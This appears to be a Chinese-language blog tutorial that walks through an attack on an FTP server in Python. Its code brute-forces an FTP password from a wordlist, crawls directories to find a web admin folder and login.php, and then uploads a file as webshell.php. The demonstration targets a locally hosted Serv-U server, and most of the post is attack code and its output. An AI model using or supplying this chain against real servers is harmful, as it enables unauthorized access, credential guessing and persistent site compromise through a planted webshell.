Python遍历破解FTP密码,并上传webshell

使用来自ftplib包的FTP模块,就可以轻松暴力输入FTP密码,进行破解,下面为了方便演示,使用用户名为admin来测试
网上一时没有找到可以使用的FTP站点,所以自己搭建一个FTP服务器测试下,官网:下载Serv-U
 

from ftplib import FTP

ftpaddr='127.0.0.1'
uname='admin'

def getPwd(upwd):
    try:
        ftp=FTP(ftpaddr)
        ftp.login(uname,upwd)
        print('正确密码为:{0}'.format(upwd))
        return True
    except Exception:
        return False

pwdlist=open('pwds.txt','r')
pwds=pwdlist.readlines()    
for pwd in pwds:
    print("密码输入为:{0}".format(pwd))
    pwd=pwd.strip()
    if(getPwd(pwd)):
        break
pwdlist.close()

密码输入为:admin

密码输入为:admin123

正确密码为:admin123

 最开始的时候使用的FTP地址为ftp://127.0.0.1,总是报错,后来发现不需要加,直接就是地址即可,127.0.0.1即可,不然将出现下面这样的异常错误:

Traceback (most recent call last):
  File "C:\Python27\1.py", line 27, in <module>
    ftp=FTP(ftpaddr)
  File "C:\Python27\lib\ftplib.py", line 120, in __init__
    self.connect(host)
  File "C:\Python27\lib\ftplib.py", line 135, in connect
    self.sock = socket.create_connection((self.host, self.port),
self.timeout)
  File "C:\Python27\lib\socket.py", line 557, in create_connection
    for res in getaddrinfo(host, port, 0, SOCK_STREAM):
gaierror: [Errno 11001] getaddrinfo failed

ftp目录和文件的一些操作

# encoding:utf-8

from ftplib import FTP

ftp=FTP('127.0.0.1','admin','admin123')
#print(ftp.getwelcome())    #220 Serv-U FTP Server v15.1 ready...
#ftp.retrlines('LIST')      #列出目录和文件的详细信息

def getSubDir(self, *args):
        cmd = 'LIST'
        func = None
        if args[-1:] and type(args[-1]) != type(''):
            args, func = args[:-1], args[-1]
        for arg in args:
            cmd = cmd + (' ' + arg)
        files = []
        ftp.retrlines(cmd, files.append)
        return files
#获取目录列表
def getDirs(dirname=None):
        if dirname != None:
            ftp.cwd(dirname)
        files = getSubDir('')

        #详细信息都去掉,只截取目录和文件的名称
        fname = [f.split(" ")[-1] for f in files]
        #去掉.和..以及文件,这样就只剩下目录了
        return [f for f in fname if '.' not in f]

#获取文件列表
def getFiles(dirname=None):
        if dirname != None:
            ftp.cwd(dirname)
        return ftp.nlst()

#找到webadmin目录的位置(这里测试两层目录)
def findDir(dir1,dir2):
    if(dir1.lower().find('webadmin')>=0):
        print('位置为:{0}'.format(dir1))
    if(dir2.lower().find('webadmin')>=0):
        print('位置为:{0}'.format(dir1 + '/' + dir2))

dirList1=getDirs('')
for d1 in dirList1:
    print(d1)
    findDir(d1,'')

    ftp.cwd('..')
    dirList2=getDirs(d1)
    for d2 in dirList2:
        print('  '+d2)
        findDir(d1,d2)

#找到login.php所在的位置
def findFile(dirname,fname):
    if(fname.lower().find('login.php')>=0):
        print('文件所在目录为:{}'.format(dirname))

dirlist1=getDirs('')
for d1 in dirlist1:
    print(d1)
    ftp.cwd('~')    #跳转到根目录
    for f1 in getFiles(d1):
        f1=f1.decode('utf-8')
        findFile(d1,f1)

    ftp.cwd('..')   #跳转到上级目录
    dirlist2=getDirs(d1)
    for d2 in dirlist2:
        print('  '+d2)
        ftp.cwd('~')    #跳转到根目录
        for f2 in getFiles(d1+'/'+d2):
            f2=f2.decode('utf-8')
            findFile(d1+'/'+d2,f2)

BBBBB
  nnnnnnnn
ccccc
hjjhjh
Serv-U
  12345
  Crack
  新建文件夹
wwww
  webadmin
位置为:wwww/webadmin

 BBBBB
  nnnnnnnn
ccccc
hjjhjh
Serv-U
  12345
  Crack
  新建文件夹
wwww
  webadmin
文件所在目录为:wwww/webadmin

上传webshell

ftp=FTP('127.0.0.1','admin','admin123')
fp=open('D:/Serv-U/wwww/webadmin/1.txt','rb')
ftp.cwd("wwww/webadmin")
ftp.storbinary("STOR webshell.php",fp)
print('成功将1.txt文件内容写入到webshell.php文件里')
fp.close()
ftp.quit()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

寅恪光潜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值